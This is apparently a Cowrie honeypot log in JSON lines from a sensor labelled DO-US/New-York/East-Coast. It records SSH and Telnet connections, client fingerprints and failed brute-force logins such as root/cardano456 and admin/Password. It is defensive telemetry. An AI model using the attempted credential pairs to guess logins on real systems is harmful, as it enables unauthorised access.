{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:21.415675Z","src_ip":"194.59.206.2","session":"b0a2c9e90514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":49022,"dst_ip":"10.17.0.5","dst_port":22,"session":"defa74cdbdb8","protocol":"ssh","message":"New connection: 91.92.40.4:49022 (10.17.0.5:22) [session: defa74cdbdb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:23.318542Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:23.322635Z","src_ip":"91.92.40.4","session":"defa74cdbdb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:23.406490Z","src_ip":"91.92.40.4","session":"defa74cdbdb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:23.651584Z","src_ip":"91.92.40.4","session":"defa74cdbdb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:24.733992Z","src_ip":"91.92.40.4","session":"defa74cdbdb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":43436,"dst_ip":"159.203.135.109","dst_port":22,"session":"a30182d922f4","protocol":"ssh","message":"New connection: 162.215.213.210:43436 (159.203.135.109:22) [session: a30182d922f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:51.959225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:51.963476Z","src_ip":"162.215.213.210","session":"a30182d922f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:52.051619Z","src_ip":"162.215.213.210","session":"a30182d922f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cardano456","message":"login attempt [root/cardano456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:52.318404Z","src_ip":"162.215.213.210","session":"a30182d922f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:13:58.386734Z","src_ip":"162.215.213.210","session":"a30182d922f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51700,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b5f9a0a3876","protocol":"telnet","message":"New connection: 170.64.224.25:51700 (159.203.135.109:23) [session: 4b5f9a0a3876]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:07.489042Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":58008,"dst_ip":"159.203.135.109","dst_port":22,"session":"5df66f37753b","protocol":"ssh","message":"New connection: 159.65.58.200:58008 (159.203.135.109:22) [session: 5df66f37753b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:24.191633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:24.501529Z","src_ip":"159.65.58.200","session":"5df66f37753b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:24.504522Z","src_ip":"159.65.58.200","session":"5df66f37753b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"spiridon","password":"123456","message":"login attempt [spiridon/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:25.505164Z","src_ip":"159.65.58.200","session":"5df66f37753b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:26.804382Z","src_ip":"159.65.58.200","session":"5df66f37753b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56072,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b504b2002bc","protocol":"telnet","message":"New connection: 137.184.5.188:56072 (159.203.135.109:23) [session: 9b504b2002bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:33.154904Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":34444,"dst_ip":"10.17.0.5","dst_port":22,"session":"686ed6f8faa4","protocol":"ssh","message":"New connection: 161.35.205.74:34444 (10.17.0.5:22) [session: 686ed6f8faa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:35.685576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:35.689188Z","src_ip":"161.35.205.74","session":"686ed6f8faa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:35.769516Z","src_ip":"161.35.205.74","session":"686ed6f8faa4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdjkl","message":"login attempt [root/asdjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:36.129450Z","src_ip":"161.35.205.74","session":"686ed6f8faa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.21.248.43","src_port":38904,"dst_ip":"159.203.135.109","dst_port":22,"session":"12d1c7832d83","protocol":"ssh","message":"New connection: 213.21.248.43:38904 (159.203.135.109:22) [session: 12d1c7832d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:36.733825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:36.737843Z","src_ip":"213.21.248.43","session":"12d1c7832d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:36.815970Z","src_ip":"213.21.248.43","session":"12d1c7832d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890.a","message":"login attempt [root/1234567890.a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:37.161482Z","src_ip":"213.21.248.43","session":"12d1c7832d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:37.212983Z","src_ip":"161.35.205.74","session":"686ed6f8faa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:38.242234Z","src_ip":"213.21.248.43","session":"12d1c7832d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.050183057785034,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:14:55.539130Z","src_ip":"170.64.224.25","session":"4b5f9a0a3876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":55906,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfce6bfa1759","protocol":"ssh","message":"New connection: 2.57.122.209:55906 (10.17.0.5:22) [session: dfce6bfa1759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:18.995465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:19.258493Z","src_ip":"2.57.122.209","session":"dfce6bfa1759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:19.357198Z","src_ip":"2.57.122.209","session":"dfce6bfa1759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password","message":"login attempt [admin/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:20.499584Z","src_ip":"2.57.122.209","session":"dfce6bfa1759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:21.782371Z","src_ip":"2.57.122.209","session":"dfce6bfa1759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":58772,"dst_ip":"10.17.0.5","dst_port":22,"session":"495e6b6ef129","protocol":"ssh","message":"New connection: 161.35.205.74:58772 (10.17.0.5:22) [session: 495e6b6ef129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:29.543755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:29.548237Z","src_ip":"161.35.205.74","session":"495e6b6ef129","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:29.634519Z","src_ip":"161.35.205.74","session":"495e6b6ef129","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server3","password":"123456","message":"login attempt [server3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:30.013904Z","src_ip":"161.35.205.74","session":"495e6b6ef129","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:31.103148Z","src_ip":"161.35.205.74","session":"495e6b6ef129","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":56538,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cb2154ce563","protocol":"ssh","message":"New connection: 103.82.20.28:56538 (10.17.0.5:22) [session: 6cb2154ce563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:40.972638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:40.976925Z","src_ip":"103.82.20.28","session":"6cb2154ce563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:41.230640Z","src_ip":"103.82.20.28","session":"6cb2154ce563","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51266,"dst_ip":"159.203.135.109","dst_port":23,"session":"d874e5fe8e8c","protocol":"telnet","message":"New connection: 170.64.224.25:51266 (159.203.135.109:23) [session: d874e5fe8e8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:41.681894Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"olega","message":"login attempt [root/olega] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:15:41.991623Z","src_ip":"103.82.20.28","session":"6cb2154ce563","protocol":"ssh"}
